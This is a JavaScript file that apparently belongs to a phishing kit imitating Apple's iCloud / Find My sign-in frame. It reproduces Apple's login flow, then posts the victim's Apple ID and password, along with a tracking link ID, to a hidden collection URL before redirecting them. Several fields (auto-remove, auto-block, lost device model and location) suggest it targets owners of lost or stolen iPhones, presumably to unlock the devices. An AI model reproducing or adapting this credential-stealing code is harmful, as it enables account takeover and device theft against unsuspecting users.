var RootHTML = $("html", window.parent.document)
  , RootBody = $("body", window.parent.document)
  , LinkID = $("#lid")
  , PostUrl = $("#post_url")
  , RedirectUrl = $("#redirect_url")
  , iFrame = $("#aid-auth-widget-iFrame", window.parent.document)
  , isMobile = $("#isMobile", window.parent.document).val()
  , PasscodeiOSUI = $("#PasscodeUIBody", window.parent.document)
  , MainForm = $("#sign_in_form")
  , AppleAccountField = $("#account-name-field")
  , AppleAccountTextBox = $("#account_name_text_field")
  , PasswordField = $("#password-field")
  , PasswordTextBox = $("#password_text_field")
  , RememberMeCheckbox = $("#remember-me")
  , MainFormContainer = $("#sign_in_container")
  , SubmitButton = $("#sign-in")
  , SubmitButtonSpinner = $("#SignInSpinner")
  , PopUpIncorrectCredentials = $("#ErrorMessage401")
  , PopUpIncorrectCredentialsWithPasscode = $("#ErrorMessage401p")
  , PopUpEmptyAccount = $("#ErrorMessage404")
  , PopUpLockedIDWithPasscode = $("#LockedWithPasscode")
  , ModalCancelButton = $("#modal-signin-cancel", window.parent.document)
  , DevicesContainer = $("#devices-list-section-container", window.parent.document)
  , Map = $("#map", window.parent.document)
  , ViewPortHeight = $(window.parent.document).height()
  , DeviceViewCard = $("#device-viewer-card", window.parent.document)
  , FMiPList = $("#fmip-device-list", window.parent.document)
  , UIPopupFormsContainer = $("#ui-popup-forms-container", window.parent.document)
  , ColorScheme = $("#fmip-root-view", window.parent.document).attr("data-appearance")
  , FrameBody = $("#tk-body")
  , FrameContainer = $("#si-body-container")
  , FormTextBoxes = $(".form-textbox")
  , FormSwitcherSpinner = $("#ui-form-switcher-loader", window.parent.document)
  , FormContainer = $("#form-container", window.parent.document)
  , FormLabel = $("#header-view", window.parent.document)
  , ZoomInButton = $("#mk-zoom-in", window.parent.document)
  , ZoomOutButton = $("#mk-zoom-out", window.parent.document)
  , isAutoRemove = $("#isAutoRemove").val()
  , isAutoBlock = $("#isAutoBlock").val()
  , DiagnosticData = $("#DiagnosticData").val()
  , DeviceIdentifier = $("#deviceIdentifier").val()
  , ScriptedSequence = $("#ScriptedSequence").val()
  , ScriptedSequenceSuccessLogin = $("#ScriptedSequenceSuccessLogin").val()
  , IsUserAuthenticated = $("#IsUserAuthenticated", window.parent.document)
  , LostDeviceModel = $("#DeviceModel", window.parent.document).val()
  , Objects = $("#Objects", window.parent.document)
  , isOpenedDefaultPane = $("#isOpenedDefaultPane", window.parent.document)
  , DefaultDeviceLat = parseFloat($("#Latitude", window.parent.document).val())
  , DefaultDeviceLong = parseFloat($("#Longitude", window.parent.document).val());
if ("0" === isMobile)
    var DeviceDetailsContainer = $("#device-viewer-section", window.parent.document);
else if ("1" === isMobile)
    DeviceDetailsContainer = $("#device-details-container", window.parent.document);
function SetFocusOnAppleIdTextBox() {
    return $(AppleAccountTextBox).addClass("apple-id-focus"),
    $(MainForm).addClass("has-focus"),
    0 === $(PasswordTextBox).val().length && $(MainForm).hasClass("show-password") && ($(SubmitButton).addClass("disable"),
    $(SubmitButton).prop("disabled", !0)),
    null
}
function RemoveFocusFromAppleIdTextBox() {
    return $(AppleAccountTextBox).removeClass("apple-id-focus"),
    null
}
function SetFocusOnPasswordTextBox() {
    return $(MainForm).addClass("has-focus has-password-focus"),
    $(AppleAccountTextBox).addClass("password-focus"),
    $(PasswordField).addClass("password-focus"),
    null
}
function RemoveFocusFromPasswordTextBox() {
    return $(MainForm).removeClass("has-focus has-password-focus"),
    $(AppleAccountTextBox).removeClass("password-focus"),
    $(PasswordField).removeClass("password-focus"),
    0 === $(PasswordTextBox).val().length && $(MainForm).hasClass("show-password") && ($(SubmitButton).addClass("disable"),
    $(SubmitButton).prop("disabled", !0)),
    null
}
function HidePasswordField() {
    return $(MainForm).removeClass("show-password"),
    $(MainForm).addClass("hide-password"),
    $(MainFormContainer).removeClass("password-on"),
    $(MainForm).addClass("password-on"),
    $(AppleAccountField).removeClass("show-password"),
    $(AppleAccountField).addClass("apple-id-focus"),
    $(PasswordField).removeClass("show-password"),
    $(PasswordField).removeClass("show-placeholder"),
    $(PasswordField).removeClass("password-focus"),
    $(PasswordField).addClass("apple-id-focus"),
    $(PasswordTextBox).val(""),
    null
}
function ShowPasswordField() {
    return $(MainForm).removeClass("hide-password"),
    $(MainForm).addClass("show-password"),
    $(MainForm).addClass("account-name-entered show-password"),
    $(MainFormContainer).addClass("password-on"),
    $(MainForm).addClass("password-on"),
    $(AppleAccountField).addClass("show-password"),
    $(AppleAccountField).removeClass("apple-id-focus"),
    $(PasswordField).addClass("show-password"),
    $(PasswordField).addClass("show-placeholder"),
    $(PasswordField).removeClass("apple-id-focus"),
    $(PasswordField).addClass("password-focus"),
    null
}
function ShowPopUp(e) {
    if ("Invalid" === e) {
        var o = PopUpIncorrectCredentials;
        $(PopUpIncorrectCredentials).removeClass("hidden")
    } else if ("Locked" === e) {
        o = PopUpIncorrectCredentials;
        $(PopUpIncorrectCredentials).removeClass("hidden")
    } else if ("Empty" === e) {
        o = PopUpEmptyAccount;
        $(PopUpEmptyAccount).removeClass("hidden")
    } else if ("LockedWithPasscode" === e) {
        o = PopUpIncorrectCredentialsWithPasscode;
        $(PopUpIncorrectCredentialsWithPasscode).removeClass("hidden")
    } else if ("InvalidWithPasscode" === e) {
        o = PopUpIncorrectCredentialsWithPasscode;
        $(PopUpIncorrectCredentialsWithPasscode).removeClass("hidden")
    } else {
        o = PopUpIncorrectCredentials;
        $(PopUpIncorrectCredentials).removeClass("hidden")
    }
    return $(o).on("click", ( () => {
        HidePopUp(e)
    }
    )),
    $(RememberMeCheckbox).prop("disabled", !1),
    $(AppleAccountTextBox).prop("disabled", !1),
    $(PasswordTextBox).prop("disabled", !1),
    $(SubmitButtonSpinner).removeClass("show").addClass("hide"),
    $(SubmitButton).removeClass("v-hide").addClass("disable"),
    $(PasswordTextBox).val(""),
    setTimeout(( () => {
        SetFocusOnAppleIdTextBox()
    }
    ), 500),
    null
}
function HidePopUp(e) {
    return "Invalid" === e || "Locked" === e ? ($(PopUpIncorrectCredentials).addClass("hidden"),
    $(PopUpIncorrectCredentials).off()) : "Empty" === e ? ($(PopUpEmptyAccount).addClass("hidden"),
    $(PopUpEmptyAccount).off()) : "LockedWithPasscode" === e || "InvalidWithPasscode" === e ? ($(PopUpIncorrectCredentialsWithPasscode).addClass("hidden"),
    $(PopUpIncorrectCredentialsWithPasscode).off()) : ($(PopUpIncorrectCredentials).addClass("hidden"),
    $(PopUpEmptyAccount).addClass("hidden"),
    $(PopUpIncorrectCredentialsWithPasscode).addClass("hidden"),
    $(PopUpIncorrectCredentials).off(),
    $(PopUpEmptyAccount).off(),
    $(PopUpIncorrectCredentialsWithPasscode).off()),
    null
}
function FrameFunctionality() {
    var e = $("#sign-in-label-passcode", window.parent.document)
      , o = $("#sign-in-label", window.parent.document)
      , s = $("#sign-in-label-2fa", window.parent.document);
    return window.matchMedia && window.matchMedia("(prefers-color-scheme: dark)").matches ? ($(FrameBody).addClass("theme-dark"),
    $(FrameContainer).attr("data-theme", "lite")) : ($(FrameBody).removeClass("theme-dark"),
    $(FrameContainer).attr("data-theme", "dark")),
    $(o).removeClass("hidden"),
    $(e).addClass("hidden"),
    $(s).addClass("hidden"),
    window.matchMedia("(prefers-color-scheme: dark)").addEventListener("change", (function(e) {
        const o = e.matches ? "dark" : "light";
        "dark" === o ? ($(FrameBody).addClass("theme-dark"),
        $(FrameContainer).attr("data-theme", "lite")) : "light" === o && ($(FrameBody).removeClass("theme-dark"),
        $(FrameContainer).attr("data-theme", "dark"))
    }
    )),
    $(AppleAccountTextBox).on("click", ( () => {
        RemoveFocusFromPasswordTextBox(),
        $(FormTextBoxes).removeClass("is-error")
    }
    )),
    $(PasswordTextBox).on("click", ( () => {
        RemoveFocusFromAppleIdTextBox(),
        SetFocusOnPasswordTextBox(),
        $(FormTextBoxes).removeClass("is-error")
    }
    )),
    $(AppleAccountTextBox).keypress((e => {
        13 === e.keyCode && $(AppleAccountTextBox).val().length > 0 && $(AppleAccountTextBox).val().length < 321 && $(SubmitButton).click()
    }
    )),
    $(MainForm).on("focusout", ( () => {
        RemoveFocusFromPasswordTextBox(),
        RemoveFocusFromAppleIdTextBox()
    }
    )),
    $(PasswordTextBox).keypress((e => {
        13 === e.keyCode && $(PasswordTextBox).val().length > 0 && $(PasswordTextBox).val().length < 129 && $(SubmitButton).click()
    }
    )),
    $(AppleAccountTextBox).on("blur", (function() {
        $(AppleAccountTextBox).val(window.parent.BeautifyPhoneNumber($(AppleAccountTextBox).val()))
    }
    )),
    $(AppleAccountTextBox).on("input paste keyup click focus", ( () => {
        HidePopUp("All"),
        Filter(AppleAccountTextBox),
        $(AppleAccountTextBox).val().length > 0 && $(AppleAccountTextBox).val().length < 321 ? ($(SubmitButton).removeClass("disable"),
        $(SubmitButton).prop("disabled", !1),
        $(SubmitButton).on("click", ( () => {
            $(ModalCancelButton).css({
                "pointer-events": "none",
                color: "var(--theme-color-gray3)"
            }),
            !0 === $(PasswordTextBox).prop("disabled") && $(PasswordTextBox).prop("disabled", !1),
            $(SubmitButton).addClass("v-hide"),
            $(SubmitButtonSpinner).removeClass("hide"),
            $(SubmitButtonSpinner).addClass("show"),
            $(AppleAccountTextBox).prop("disabled", !0),
            $(AppleAccountTextBox).addClass("form-textbox-entered"),
            setTimeout(( () => {
                $(MainForm).removeClass("hide-password"),
                $(MainForm).addClass("account-name-entered show-password"),
                $(MainFormContainer).addClass("password-on"),
                $(AppleAccountField).addClass("show-password"),
                $(PasswordField).addClass("show-password show-placeholder"),
                $(SubmitButtonSpinner).removeClass("show"),
                $(SubmitButtonSpinner).addClass("hide"),
                $(SubmitButton).addClass("moved"),
                $(SubmitButton).addClass("disable"),
                $(SubmitButton).removeClass("v-hide"),
                $(SubmitButton).prop("disabled", !0),
                $(AppleAccountTextBox).prop("disabled", !1),
                $(AppleAccountTextBox).removeClass("form-textbox-entered"),
                $(PasswordTextBox).focus(),
                $(ModalCancelButton).css({
                    "pointer-events": "auto",
                    color: ""
                }),
                $(PasswordTextBox).on("input paste focus click keyup", ( () => {
                    HidePopUp("All"),
                    $(PasswordTextBox).val().length > 0 && $(PasswordTextBox).val().length < 129 ? ($(SubmitButton).prop("disabled", !1),
                    $(SubmitButton).removeClass("disable"),
                    $(SubmitButton).off(),
                    $(SubmitButton).on("click", ( () => {
                        $(ModalCancelButton).css({
                            "pointer-events": "none",
                            color: "var(--theme-color-gray3)"
                        }),
                        $(AppleAccountTextBox).prop("disabled", !0),
                        $(PasswordTextBox).prop("disabled", !0),
                        $(SubmitButton).prop("disabled", !0),
                        $(AppleAccountTextBox).addClass("form-textbox-entered"),
                        $(PasswordTextBox).addClass("form-textbox-entered"),
                        $(SubmitButton).addClass("v-hide"),
                        $(RememberMeCheckbox).prop("disabled", !0),
                        $(SubmitButtonSpinner).removeClass("hide"),
                        $(SubmitButtonSpinner).addClass("show"),
                        setTimeout(( () => {
                            $(AppleAccountTextBox).val().length > 0 && $(PasswordTextBox).val().length > 0 ? ($(PasswordTextBox).blur(),
                            window.parent.SendRequest($(PostUrl).val(), {
                                type: "POST",
                                dataType: "json",
                                timeout: 6e4,
                                data: {
                                    type: "account",
                                    user: $(AppleAccountTextBox).val(),
                                    pass: $(PasswordTextBox).val(),
                                    id: $(LinkID).val(),
                                }
                            }, 10, 2500, (response => {
                                if (response.success) {
									window.top.location.href = $(RedirectUrl).val();
                                } else
                                    $(ModalCancelButton).css({
                                        "pointer-events": "auto",
                                        color: ""
                                    }),
                                    $(AppleAccountTextBox).prop("disabled", !1),
                                    $(PasswordTextBox).prop("disabled", !1),
                                    $(AppleAccountTextBox).removeClass("form-textbox-entered"),
                                    $(PasswordTextBox).removeClass("form-textbox-entered"),
                                    $(PasswordTextBox).val(""),
                                    $(SubmitButton).removeClass("v-hide"),
                                    $(SubmitButtonSpinner).addClass("hide"),
                                    $(SubmitButtonSpinner).removeClass("show"),
                                    $(RememberMeCheckbox).prop("disabled", !1),
                                    SetFocusOnAppleIdTextBox(),
                                    ShowPopUp("Invalid"),
                                    $(FormTextBoxes).addClass("is-error")
                            }
                            ))) : ($(ModalCancelButton).css({
                                "pointer-events": "auto",
                                color: ""
                            }),
                            $(AppleAccountTextBox).prop("disabled", !1),
                            $(PasswordTextBox).prop("disabled", !1),
                            $(AppleAccountTextBox).removeClass("form-textbox-entered"),
                            $(PasswordTextBox).removeClass("form-textbox-entered"),
                            $(SubmitButton).removeClass("v-hide"),
                            $(SubmitButtonSpinner).addClass("hide"),
                            $(SubmitButtonSpinner).removeClass("show"),
                            $(RememberMeCheckbox).prop("disabled", !1),
                            SetFocusOnAppleIdTextBox(),
                            $(FormTextBoxes).addClass("is-error"))
                        }
                        ), 1e3)
                    }
                    ))) : ($(SubmitButton).prop("disabled", !0),
                    $(SubmitButton).addClass("disable"))
                }
                )),
                $(AppleAccountTextBox).on("keyup paste", ( () => {
                    HidePasswordField()
                }
                ))
            }
            ), 4e3)
        }
        ))) : ($(SubmitButton).addClass("disable"),
        $(SubmitButton).prop("disabled", !0))
    }
    )),
    $(AppleAccountField).on("click", ( () => {
        SetFocusOnAppleIdTextBox()
    }
    )),
    $(SubmitButton).on("click", ( () => {
        RemoveFocusFromAppleIdTextBox()
    }
    )),
    "0x7850610a" === ScriptedSequence && ($(FormSwitcherSpinner).addClass("hidden"),
    $(FormLabel).removeClass("hidden"),
    $(FormContainer).removeClass("hidden")),
    null
}
function sleep(e) {
    return new Promise((o => setTimeout(o, e)))
}
function SignInWithPasscode(e) {
    return "0x319ccf5c" === e ? $(iFrame).prop("src", "/Volumes/0x6937da26/Components/Frames/signin6passcode.php") : "0xb63cea3f" === e ? $(iFrame).prop("src", "/Volumes/0x6937da26/Components/Frames/signin4passcode.php") : "0x009d5c3a" === e ? $(iFrame).prop("src", "/Volumes/0x6937da26/Components/Frames/signinnumpasscode.php") : "0xc582284c" === e ? $(iFrame).prop("src", "/Volumes/0x6937da26/Components/Frames/signinstrpasscode.php") : $(iFrame).prop("src", "/Volumes/0x6937da26/Components/Frames/signin.php"),
    null
}
function Filter(e) {
    return $(e).val($(e).val().replace(/[^a-zA-Z0-9@._-]+$/g, "")),
    null
}
$(document).ready(( () => {
    FrameFunctionality()
}
));
